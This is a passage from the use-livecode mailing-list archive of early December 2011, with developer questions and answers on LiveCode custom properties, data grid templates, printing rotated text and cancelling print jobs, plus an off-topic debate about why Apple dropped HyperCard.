> could be imprecise. > > In my stack's custom properties there is a set called "en". In turn, > that set "en" has a long list of keys (?). > > Thus, for example, if I script: > > put the en["greetingMorning"] of stack "myStack" > > it'll return: > > "Good morning!" > > What I want to do is create a new custom prop called "ja", with the > same long list of keys as "en", but with different contents. > > Thus, for example, if I script: > > put the ja["greetingMorning"] of stack "myStack" > > it'll return: > > "Ohayo gozaimasu" > > But I do not know how to: > > 1) create "ja" with the same keys as "en" > 2) insert data into each of the keys of "ja" > > I don't mind doing (2) manually. But is there not an automatic way of > doing (1)? > > Thank you. > > -- > Nicolas Cueto > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at mollysrevenge.com Fri Dec 2 02:32:43 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 1 Dec 2011 23:32:43 -0800 Subject: Copying and pasting a data grid form? In-Reply-To: <9C7F3D5DD7884680AEC976017D0FF801@KeithPC> References: <9C7F3D5DD7884680AEC976017D0FF801@KeithPC> Message-ID: Here's one way to do this,there may be others. Both datagrids will have the dgProps["row template"] property set to the same group and card of the Datagrid Templates stack. Locate that card and use the message box to make a copy of it in the Datagrid Templates stack. Make a note of the Row Template group ID and card id of the new card, then change the dgProps["Row Template"] property of the second datagrid to refer to the new group/card. At that point, you can modify the second datagrid's template as you wish without affecting the first datagrid. Hope that helps, Pete On Thu, Dec 1, 2011 at 9:21 PM, Keith (Gulf Breeze Ortho Lab) < keith at gulfbreezeortholab.com> wrote: > Hi All, > > Okay, I am at a loss. I have a stack with several cards... On one card I > have a custom data grid form with graphics and several text fields... What > I want to do is copy the data grid and then paste it onto another > card--which works fine. The problem is, I am unclear about how to create a > new template for the pasted data grid... When I make minor changes to the > template, the changes are also applied to the original data grid on the > previous card... > > How can I create a new template for the pasted data grid so that I can > make changes to it without affecting the original data grid? I want to find > a way to do this without having to recreate the second data grid from > scratch, because there are only minor changes and it would be quite > time-consuming to say the least... > > I found the following link, but it does not really explain what I am > looking for: > > http://www.forums.runrev.com/viewtopic.php?f=8&t=3365 > > Thanks, > > - Boo > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From richmondmathewson at gmail.com Fri Dec 2 03:24:37 2011 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 02 Dec 2011 10:24:37 +0200 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> Message-ID: <4ED88B45.1010003@gmail.com> On 12/02/2011 02:50 AM, Mike Bonner wrote: > Bob said: Let me propose that a solution cannot be simpler than the problem > it is meant to solve. > > Yep. The most important part of programming/building/creation in general is > defining the problem. Well ok, for me the biggest issue is making it pretty > since I have zero design intuition. But that problem doesn't show up until > the defining has been successfully completed. > > What I love about computers and programming is that you (hopefully) only > have to solve a given problem ONCE. At least until requirement here> changes. That tells me what is wrong with me and my programming methods . . . :) I seem to solve the same problems each year, year after year, again and again. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From gcanyon+rev at gmail.com Fri Dec 2 03:53:28 2011 From: gcanyon+rev at gmail.com (Geoff Canyon Rev) Date: Fri, 2 Dec 2011 02:53:28 -0600 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> Message-ID: On Thu, Dec 1, 2011 at 5:37 PM, Bob Sneidar wrote: > Let me propose that a solution cannot be simpler than the problem it is > meant to solve. Assuming that this is true, it is nevertheless possible for a solution to be far, far more complex than the problem it is intended to solve. One quote representing this concept is: Some people, when confronted with a problem, think ?I know, I'll use regular expressions.? Now they have two problems. I'll go further than my original statement and say that *every* solution is far more complex than the problem it is intended to solve. HyperCard was no exception. If the "problem to be solved" is "build a rolodex" (and you're not allowed to simply use the built-in one) consider how much work went into the built-in rolodex. By comparison, my problem statement is nearly complete; add a few semi-obvious statements about searching, printing, etc., and you have a working product spec, but to implement that in HyperCard would take significant effort. Anyone know how many lines of code there are in the built-in rolodex stack? Every language I've used has some feature that I wish every other language I use has. As one example, in FileMaker, all references are abstracted, so if you rename a table, or a column, or a layout, etc., all references to that object in your code will automatically adjust. *That* is a feature I would pay serious money for, but I don't know any other language/environment that has it. Not to be a grump (warning, I'm about to be grumpy) but there are several aspects of LiveCode as it stands that are significantly more complex than they should be. The one that has been tormenting me over the last few weeks is the datagrid, and its lack of native syntax. put row 3 to 8 of column "firstname",column "lastname" or something like it should just work. Stepping away from the soap box now... From keith at gulfbreezeortholab.com Fri Dec 2 04:00:52 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Fri, 2 Dec 2011 03:00:52 -0600 Subject: Copying and pasting a data grid form? In-Reply-To: References: <9C7F3D5DD7884680AEC976017D0FF801@KeithPC> Message-ID: Thanks Pete. I did something very similar to that (although I didn't use the message box to make a copy--how would I do that by the way?) I ended up copying the group from the first data grid's row template over to the second data grid... After playing around with it, I then did modified the dgProps["Row Template]" of the new data grid and that did the trick... Cheers, - Boo -----Original Message----- From: Pete Sent: Friday, December 02, 2011 1:32 AM To: How to use LiveCode Subject: Re: Copying and pasting a data grid form? Here's one way to do this,there may be others. Both datagrids will have the dgProps["row template"] property set to the same group and card of the Datagrid Templates stack. Locate that card and use the message box to make a copy of it in the Datagrid Templates stack. Make a note of the Row Template group ID and card id of the new card, then change the dgProps["Row Template"] property of the second datagrid to refer to the new group/card. At that point, you can modify the second datagrid's template as you wish without affecting the first datagrid. Hope that helps, Pete On Thu, Dec 1, 2011 at 9:21 PM, Keith (Gulf Breeze Ortho Lab) < keith at gulfbreezeortholab.com> wrote: > Hi All, > > Okay, I am at a loss. I have a stack with several cards... On one card I > have a custom data grid form with graphics and several text fields... What > I want to do is copy the data grid and then paste it onto another > card--which works fine. The problem is, I am unclear about how to create a > new template for the pasted data grid... When I make minor changes to the > template, the changes are also applied to the original data grid on the > previous card... > > How can I create a new template for the pasted data grid so that I can > make changes to it without affecting the original data grid? I want to > find > a way to do this without having to recreate the second data grid from > scratch, because there are only minor changes and it would be quite > time-consuming to say the least... > > I found the following link, but it does not really explain what I am > looking for: > > http://www.forums.runrev.com/viewtopic.php?f=8&t=3365 > > Thanks, > > - Boo > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From rene.micout at numericable.com Fri Dec 2 04:38:30 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Fri, 2 Dec 2011 10:38:30 +0100 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <588D3A94-93C8-4C97-B3DC-EA84151448F5@earthlink.net> References: <4ED7D75A.20505@gmail.com> <4C2933A1-2B11-4F54-A729-3F1AA45BB4E3@twft.com> <4ED823A6.2090206@hyperactivesw.com> <588D3A94-93C8-4C97-B3DC-EA84151448F5@earthlink.net> Message-ID: Sorry, not very well, this is only a race to the bottom (nivellement par le bas in French) Le 2 d?c. 2011 ? 03:09, Petrides, M.D. Marian a ?crit : > That's for sure. One other missing "feature" in Hypercard that was not mentioned is cross-platform support, which LC does very well. (Thank Heavens!) > > On Dec 1, 2011, at 7:02 PM, J. Landman Gay wrote: > >> LiveCode has grown to be much more capable, as it turns out. I'm glad we ended up here. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From rene.micout at numericable.com Fri Dec 2 04:47:32 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Fri, 2 Dec 2011 10:47:32 +0100 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com> <4C2933A1-2B11-4F54-A729-3F1AA45BB4E3@twft.com> <4ED823A6.2090206@hyperactivesw.com> <588D3A94-93C8-4C97-B3DC-EA84151448F5@earthlink.net> Message-ID: <2AEF5939-6045-48C9-9439-FC65518E1F62@numericable.com> To clarify, I would have all the features of Mac OS X Lion (all the interface, Core MIDI, Core Graphics, etc ...) We are far of that... What will happen when Microsoft will deliver Windows 8? As Microsoft was based on Mac OS to progress, a common line persisted, but tomorrow, the gap may widen further ... I never liked the LiveCode's cross-platform approach ... Le 2 d?c. 2011 ? 10:38, Ren? Micout a ?crit : > Sorry, not very well, this is only a race to the bottom (nivellement par le bas in French) > > > Le 2 d?c. 2011 ? 03:09, Petrides, M.D. Marian a ?crit : > >> That's for sure. One other missing "feature" in Hypercard that was not mentioned is cross-platform support, which LC does very well. (Thank Heavens!) >> >> On Dec 1, 2011, at 7:02 PM, J. Landman Gay wrote: >> >>> LiveCode has grown to be much more capable, as it turns out. I'm glad we ended up here. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From benr_mc at cogapp.com Thu Dec 1 10:38:10 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Thu, 01 Dec 2011 15:38:10 +0000 Subject: printing rotated text Message-ID: <4ED79F62.4030305@cogapp.com> Can I just confirm that there's no way to print high-quality rotated text from LC? For use on screen one can put text in a field, take a snapshot, and rotate that - which is fine if you don't need editing; but of course in print that comes out lo-res. Is there any way, if I want most of the text in one orientation but a small amount at 90? to it, to do better than the same technique and accept that the rotated text will print at lower resolution? TIA, Ben From benr_mc at cogapp.com Thu Dec 1 12:05:18 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Thu, 01 Dec 2011 17:05:18 +0000 Subject: Reacting to the user cancelling a print job Message-ID: <4ED7B3CE.1080100@cogapp.com> Is there any way to detect that the user is clicking the 'cancel' button on the 'printing' dialog that appears while printing from LiveCode? During testing, if I want to cancel an exceptionally long job infinite loop in code I'm a bit stuck. I can click the 'cancel' button, and the UI reacts (the message above the barber pole changes to "Canceling") but LiveCode doesn't, and I can't figure out where I'd see in code that the user is pressing it. (On the other hand I also can't use command-period to halt the buggy script, presumably because the 'printing in progress' dialog catches the keyboard event.) Is there a solution to this conundrum? TIA Ben From bdrunrev at gmail.com Fri Dec 2 06:01:14 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Fri, 2 Dec 2011 11:01:14 +0000 Subject: Custom Property Data Limit? In-Reply-To: <8CE7EA26F3245D9-1CBC-2192A@web-mmc-m09.sysops.aol.com> References: <4ED7BFAF.8040208@comcast.net> <1316407331-1322774781-cardhu_decombobulator_blackberry.rim.net-1600297813-@b27.c31.bise6.blackberry> <8CE7EA26F3245D9-1CBC-2192A@web-mmc-m09.sysops.aol.com> Message-ID: Some years back I was working with a few joined tables in a commercially available relational database. Making certain queries across these joined tables became unusably slow as the size of the tables increased (I can't remember the numbers, but certainly in the millions, possibly billions). As the individual data items were small (mostly latitudes and longitudes), I put all the data into custom properties, and queried those instead. The responses were instantaneous. If I had to look up a lot of data and get fast responses, I would consider doing it in custom properties rather than any database. In fact, my tests custom properties (arrays) were faster than using in-memory databases (e.g. hsqldb). I came across a series of benchmarks a few years ago which compared the performance of most the major databases versus PHP's own hash tables (I did a quick google but couldn't find them right now). The PHP hash tables won hands down (by roughly an order of magnitude). The whole "prevayler" hypothesis is basically founded on this difference in speed. Whilst many enterprisey people were (apparently ideologically) opposed to the idea of principally working on data in memory, I seem to remember that this kind of thing has reappeared recently with projects such as redis (and if memory serves me right, some corporate entity like Oracle has just come out with something similar). If it is a question of data analysis rather than persistence per se, I'd do some testing with arrays/custom properties and go from there. You wouldn't necessarily need to display 1 billion rows in a datagrid. You would extract the subset you need and then display them in the datagrid. Bernard On Fri, Dec 2, 2011 at 12:42 AM, wrote: > Just for the hell of it, I made a custom property of a button with one > billion chars, 100,000,000 lines of ten chars. If I ask it for line, say, > 28455999, it gives it instantly. > > > Craig Newman > > From m.schonewille at economy-x-talk.com Fri Dec 2 06:12:59 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 2 Dec 2011 12:12:59 +0100 Subject: Reacting to the user cancelling a print job In-Reply-To: <4ED7B3CE.1080100@cogapp.com> References: <4ED7B3CE.1080100@cogapp.com> Message-ID: <6E92FE79-816F-4A0E-BDCD-71BD8D970FA5@economy-x-talk.com> Ben, I have had this problem too and solved it. Please post your script. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 1 dec 2011, at 18:05, Ben Rubinstein wrote: > Is there any way to detect that the user is clicking the 'cancel' button on the 'printing' dialog that appears while printing from LiveCode? > > During testing, if I want to cancel an exceptionally long job infinite loop in code I'm a bit stuck. > > I can click the 'cancel' button, and the UI reacts (the message above the barber pole changes to "Canceling") but LiveCode doesn't, and I can't figure out where I'd see in code that the user is pressing it. (On the other hand I also can't use command-period to halt the buggy script, presumably because the 'printing in progress' dialog catches the keyboard event.) > > Is there a solution to this conundrum? > > TIA > > Ben From sc at sahores-conseil.com Fri Dec 2 07:09:40 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Fri, 2 Dec 2011 13:09:40 +0100 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> Message-ID: <9484A1BF-7A0F-4403-9E46-C2CA8F1FBDE3@sahores-conseil.com> Le 2 d?c. 2011 ? 02:15, Todd Geist a ?crit : > I think that > breakthroughs in technology are really about taking a complex problem and > making it simpler. The best solutions are the simplest ones. > > "Any intelligent fool can make things bigger and more complex... It takes a > touch of genius - and a lot of courage to move in the opposite direction." > > - Albert Einstein > > > Todd -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From jperryl at ecs.fullerton.edu Fri Dec 2 07:59:50 2011 From: jperryl at ecs.fullerton.edu (Judy Perry) Date: Fri, 2 Dec 2011 04:59:50 -0800 (PST) Subject: SoCal LUG meeting: Wind advisory In-Reply-To: References: <4ED6A851.1000501@fourthworld.com> <4ED79DB3.2010706@fourthworld.com> Message-ID: On Thu, 1 Dec 2011, Todd Geist wrote: > Wow, we had no wind at all. I am maybe 50 miles from Pasedena --I'm 100 miles (well, probably in that range) south of Pasadena and we had high but not abnormally high winds today. Still, that plus a nearly 200 mile round trip makes it undoable for me. Judy From jperryl at ecs.fullerton.edu Fri Dec 2 08:01:26 2011 From: jperryl at ecs.fullerton.edu (Judy Perry) Date: Fri, 2 Dec 2011 05:01:26 -0800 (PST) Subject: IMPORTANT: SoCal Meeting CANCELLED In-Reply-To: <4ED7D7F7.8030503@fourthworld.com> References: <4ED7D7F7.8030503@fourthworld.com> Message-ID: Whatever happened to a mid-so-Cal meeting area in OC? Judy On Thu, 1 Dec 2011, Richard Gaskin wrote: > The City of Pasadena has declared a state of emergency in light of the > ongoing wind storm (see earlier post), so after discussing this with Bill > Vlahos we agree it's just not safe to encourage people to enter the area most > affected by this event. From bonnmike at gmail.com Fri Dec 2 08:06:38 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 2 Dec 2011 06:06:38 -0700 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <9484A1BF-7A0F-4403-9E46-C2CA8F1FBDE3@sahores-conseil.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <9484A1BF-7A0F-4403-9E46-C2CA8F1FBDE3@sahores-conseil.com> Message-ID: Both of the apply to a simple example. How to get something from a combination locked glass case. But circumstances and requirements are a big part of how much complexity can be removed. As does background and world view. An engineer might study how the lock works and try to determine if it can be mechanically subverted.(assumes lost combination, and/or a thief soon to be incarcerated.) The owner will punch in the combination. Law abiding citizens will go through the owner for access to the case. A thief will bring a hammer. All valid solutions to the problem, but sometimes additional complexity is a required part of the solution. > I think that > breakthroughs in technology are really about taking a complex problem and > making it simpler. The best solutions are the simplest ones. > > "Any intelligent fool can make things bigger and more complex... It takes a > touch of genius - and a lot of courage to move in the opposite direction." From sc at sahores-conseil.com Fri Dec 2 08:32:19 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Fri, 2 Dec 2011 14:32:19 +0100 Subject: =?iso-8859-1?Q?R=E9p_=3A_=5BOT=7D=5D_Hypercard_and_an_uneasy_rea?= =?iso-8859-1?Q?d=2E?= Message-ID: Among the comments of this interesting "http://www.loper-os.org/?p=568" paper..., Phillip says: November 30, 2011 at 4:49 pm It was killed because Hypercard on an iPod is all you would ever need to buy. How do you spell APP Store killer? HYPERCARD. BC says: December 1, 2011 at 12:06 pm "Yes, I know why HyperCard was allowed to ?die?. With all respect to Mr. Jobs, HyperCard was considered a cancer and was put through executive nuclear-chemo therapy." PS : ... and Larry Ellison killed Oracle Media Objects in the mean time to "faire place nette" to Java... David Stevens says: December 1, 2011 at 3:10 pm A likely reason for it?s death is simple that most people do not want to program, and have no desire for programming. While I enjoy programming, and have been at it for quite some time, most people are looking for something they can use, not something they can use to make something they can use." Peter M. Brigham says: December 1, 2011 at 11:44 pm "It?s the do-it-yourself aspect of HC that made it uniquely useful as a tool for real people doing myriads of (non-IT) jobs. Its descendants, LiveCode, Supercard, Metacard, etc., carry on the tradition." 1.- Where anyone can't freely read and write by it self, the social power is driven by professional public and private "scribes" willings and soldiers arms. Traditional programming occurs mainly as the scribing paradigm of the first age of the computer's enabled world. XTalk owns a good place to represent the semantically empowered IDE RAD what can make people free to understand, read and write the second age of our computer's enabled little finished planet. Can we get part of the work done to empower this around-the-corner century knowledge freedom objective ? 2.- Hypertalk gave us the opportunity to understand that programming is, before any else, the art to convert abstract minding in automated workflows and in this way, i just follow the mind witch let some of us think that the computer expand our ability to "reduce complexity to its elegant working solution". Alike Bob, i think that the computer don't do the work for us and alike Todd, i think that the computer is the accessory and the mirror witch help us to clear the complexity in a collection of elementary components we need to take hand on and manage to build the final response (soft) to the workflow we need to build to solve the initial defined customer's need. 3.- When we write a GUI application in using LiveCode, most of the code behind the GUI is mainly automatically build for us by the framework while the application's logic depends entirely from our design skills and methodology. When we write a frontless app (say a LiveCode server or cgi app), we have to write 100% of the app logic. If we compare the wight of the source and binary codes, we can see that in the GUI driven app, as an example, the source is about 250 ko and the final standalone binary code (without the 3.5 Mb of runtime engine) will represent a wight about 1 Mb. So while we had to code 250 ko of source, LC provided us 750 ko in automated mode. On the other hand, LiveCode let us entirely free about the ways and responsibility to code the app logic without no far from any restriction nor automated assistance. If we go back to compare LC to HC, we can, today, do lots more in about technical market enabled solutions than we ever could do with HC + Rinaldi XFCN/XCMD in a lot's more usable way and HC was only more easy to learn than LC as long as we did't have to deal with X-command / functions at all. 2cts ;-) -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From klaus at major.on-rev.com Fri Dec 2 08:39:12 2011 From: klaus at major.on-rev.com (Klaus on-rev) Date: Fri, 2 Dec 2011 14:39:12 +0100 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: Message-ID: <45CCBE3E-893E-4CBD-A942-A6D5EFDE4EB1@major.on-rev.com> Hi all, Am 02.12.2011 um 14:32 schrieb Pierre Sahores: > Among the comments of this interesting "http://www.loper-os.org/?p=568" paper..., > Phillip says: November 30, 2011 at 4:49 pm > It was killed because Hypercard on an iPod is all you would ever need to buy. > How do you spell APP Store killer? HYPERCARD. > BC says: December 1, 2011 at 12:06 pm > "Yes, I know why HyperCard was allowed to ?die?. With all respect to Mr. Jobs, HyperCard was considered a cancer and was put through executive nuclear-chemo therapy." > > PS : ... and Larry Ellison killed Oracle Media Objects in the mean time to "faire place nette" to Java... Oh well, that was a great piece of software! I really miss its REAL "Table" object! ;-) > ... > 2cts ;-) > -- > Pierre Sahores > mobile : 06 03 95 77 70 > www.sahores-conseil.com Best Klaus -- Klaus Major http://www.major-k.de klaus at major.on-rev.com From bonnmike at gmail.com Fri Dec 2 08:41:37 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 2 Dec 2011 06:41:37 -0700 Subject: printing rotated text In-Reply-To: <4ED79F62.4030305@cogapp.com> References: <4ED79F62.4030305@cogapp.com> Message-ID: It might be possible to use css/javascript in a revbrowser instance to accomplish this, but I haven't actually done so, so not sure. On Thu, Dec 1, 2011 at 8:38 AM, Ben Rubinstein wrote: > Can I just confirm that there's no way to print high-quality rotated text > from LC? For use on screen one can put text in a field, take a snapshot, > and rotate that - which is fine if you don't need editing; but of course in > print that comes out lo-res. > > Is there any way, if I want most of the text in one orientation but a > small amount at 90? to it, to do better than the same technique and accept > that the rotated text will print at lower resolution? > > TIA, > > Ben > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From benr_mc at cogapp.com Fri Dec 2 08:28:58 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Fri, 02 Dec 2011 13:28:58 +0000 Subject: Reacting to the user cancelling a print job In-Reply-To: <6E92FE79-816F-4A0E-BDCD-71BD8D970FA5@economy-x-talk.com> References: <4ED7B3CE.1080100@cogapp.com> <6E92FE79-816F-4A0E-BDCD-71BD8D970FA5@economy-x-talk.com> Message-ID: <4ED8D29A.4090605@cogapp.com> On 02/12/2011 11:12, Mark Schonewille wrote: > I have had this problem too and solved it. Please post your script. > > On 1 dec 2011, at 18:05, Ben Rubinstein wrote: > >> Is there any way to detect that the user is clicking the 'cancel' button on the 'printing' dialog that appears while printing from LiveCode? >> >> I can click the 'cancel' button, and the UI reacts (the message above the barber pole changes to "Canceling") but LiveCode doesn't, and I can't figure out where I'd see in code that the user is pressing it. (On the other hand I also can't use command-period to halt thebuggy script, presumably because the 'printing in progress' dialog catches the keyboard event.) Mark, Thanks for responding. I don't think I can post my script - it's currently a hideous mess of fragments and bits (because of course I never have bugs in my code once I move beyond that stage!). But essentially it does 'open printing with dialog', then goes into a big loop in which it executes various 'print card from ... into rect' and 'print break' commands; finally it executes 'close printing'. Immediately after the call to 'open printing with dialog', my code can check whether the the user clicked 'cancel' on that. But from then until 'close printing', there's a printing progress dialog up, on which the user can click 'cancel'; but I can't see a way to find out that they've clicked it; meanwhile because the dialog is there, they can't interact with my stack, so I can't give them any way to cancel the job. Do you have a way to discover that the user has clicked cancel? TIA, Ben From sc at sahores-conseil.com Fri Dec 2 08:53:22 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Fri, 2 Dec 2011 14:53:22 +0100 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <45CCBE3E-893E-4CBD-A942-A6D5EFDE4EB1@major.on-rev.com> References: <45CCBE3E-893E-4CBD-A942-A6D5EFDE4EB1@major.on-rev.com> Message-ID: <9B6DA594-B962-41CB-947B-B8B6DA4A1B43@sahores-conseil.com> I did't got the bucks to license Oracle Media Objects ;-/ What was this REAL "Table" object! ;-) you seems to say we can't redesign it in LC ? ;D Kind regards, Pierre Le 2 d?c. 2011 ? 14:39, Klaus on-rev a ?crit : > Hi all, > > Am 02.12.2011 um 14:32 schrieb Pierre Sahores: > >> Among the comments of this interesting "http://www.loper-os.org/?p=568" paper..., >> Phillip says: November 30, 2011 at 4:49 pm >> It was killed because Hypercard on an iPod is all you would ever need to buy. >> How do you spell APP Store killer? HYPERCARD. >> BC says: December 1, 2011 at 12:06 pm >> "Yes, I know why HyperCard was allowed to ?die?. With all respect to Mr. Jobs, HyperCard was considered a cancer and was put through executive nuclear-chemo therapy." >> >> PS : ... and Larry Ellison killed Oracle Media Objects in the mean time to "faire place nette" to Java... > > Oh well, that was a great piece of software! > I really miss its REAL "Table" object! ;-) > >> ... >> 2cts ;-) >> -- >> Pierre Sahores >> mobile : 06 03 95 77 70 >> www.sahores-conseil.com > > Best > > Klaus > > -- > Klaus Major > http://www.major-k.de > klaus at major.on-rev.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From rene.micout at numericable.com Fri Dec 2 08:55:46 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Fri, 2 Dec 2011 14:55:46 +0100 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: Message-ID: <5C3B48C6-263A-4DB4-BAA9-D1FCCF2C635B@numericable.com> Le 2 d?c. 2011 ? 14:32, Pierre Sahores a ?crit : > the workflow we need to build to solve the initial defined customer's need. Bonjour Pierre, A little precision : with HC the initial customer and programmer was the same person... I think that will be the same with LC... But is really the case? Or is LC becomes a language like another ? From admin at FlexibleLearning.com Fri Dec 2 09:00:20 2011 From: admin at FlexibleLearning.com (FlexibleLearning) Date: Fri, 2 Dec 2011 14:00:20 -0000 Subject: printing rotated text In-Reply-To: Message-ID: Up to 4.6.2, you get increased image resolution if you import an image and scale it down, but not if you take a snapshot and scale it down. I did bug-report this anomoly ages ago. Maybe they fixed increased res on snapshots in 5.0 (not tried yet). Hugh Senior FLCo Ben Rubinstein wrote Can I just confirm that there's no way to print high-quality rotated text from LC? For use on screen one can put text in a field, take a snapshot, and rotate that - which is fine if you don't need editing; but of course in print that comes out lo-res. Is there any way, if I want most of the text in one orientation but a small amount at 90? to it, to do better than the same technique and accept that the rotated text will print at lower resolution? TIA, Ben From bvg at mac.com Fri Dec 2 09:02:37 2011 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Fri, 02 Dec 2011 15:02:37 +0100 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> Message-ID: <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> People who wrote in this thread about why HC was killed are all self centric conspiracy lunatics. Apple was considered dying, bleeding money left and right, and everyone just waited for Jobs to be a megalomaniac idiot and kill the company off ungracefully by what was considered a flawed personality, an outdated idea of what computing is and a bound to fail management style. But of course Jobs did what he does best: Concentrate on a single project (the iMac & what became Mac OS X), getting ridiculed for it ("only USB? Lickable UI? Not cheap as ad-supported Walmart PC? Jobs is an idiot!"), and then making huge profit from the non-corporate customer market. Now this concentration on a single task was of course detrimental to a lot of projects, including fancy and forward looking Xerox-lab styled ideas like HyperCard and the Newton, as well as silly stuff like the gazillion Performa models. No one is making up stories that Jobs killed the Performa branding, because his fruity employees disliked the grey colorisation or some shit like that. All those projects where sucking up money, the only thing Apple didn't have at that time, so they had to die. And yes, some good Products died in those years, but even more bad ones got shafted. This simple and economically sound decision had almost nothing to do with internal strifes, dislikes or philosophic/ideologic "what is the future of computing" reasons. So a positive account balance saved Apple. After that, Jobs (and in extension Apple) never tried to do world changing research like OpenDoc again, instead focusing on polish over far out features and philosophically approaches to changing the computing landscape. This is most obvious with products like the Mac OS X Finder, who is in many ways a copy of existing concepts, and actively tries to avoid changing the way we use computers. Bj?rnke On 2 Dec 2011, at 05:15, dunbarx at aol.com wrote: > I had always thought that it was the developers who successfully lobbied against HC. It was feared that sales of shrink wrapped software in general would suffer if a large population of users could roll their own solutions. No need for filemaker or excel. > > > Craig Newman > > > > -----Original Message----- > From: Todd Geist > To: How to use LiveCode > Sent: Thu, Dec 1, 2011 3:17 pm > Subject: Re: [OT}] Hypercard and an uneasy read. > > > Hi Bob, > > > The part that I most liked about the linked article was the emphasis on > explorability. I think HyperCard had it. My other Tool FileMaker had it. > FileMaker has less of it today. And I think that LiveCode is not as > explorable as HyperCard was. In the case of LiveCode it nows support 7 > platforms instead of one. This adds a lot of complexity, but I am not sure > I would trade that away. > > I will say this that LiveCode and FileMaker both remain two of the most > explorable user interface design tools around. HTML/CSS/Javascript have > traditionally sucked in this regard although recently that has changed with > the rise of Jquery and other JS libraries. Still I defy anyone who has not > done it before to create a simple form with HTML/CSS and JS, I don't care > what IDE they use, they won't be able to do it. But give some body a > LiveCode Stack or a FileMaker DB and they might be able to pull it off. > They can explore their way there. > > Thats what I love about Explorability. > > But your other point about a solution not being simpler than the problem it > is meant to solve. I understand what you mean. But if that were true then > there wouldn't be much advancement in technology. I think that > breakthroughs in technology are really about taking a complex problem and > making it simpler. The best solutions are the simplest ones. > > "Any intelligent fool can make things bigger and more complex... It takes a > touch of genius - and a lot of courage to move in the opposite direction." > > - Albert Einstein > > > Todd > > > On Thu, Dec 1, 2011 at 3:37 PM, Bob Sneidar wrote: > >> Hi Todd. Let me propose that a solution cannot be simpler than the problem >> it is meant to solve. People who think so are usually only imagining how >> simple the solution can 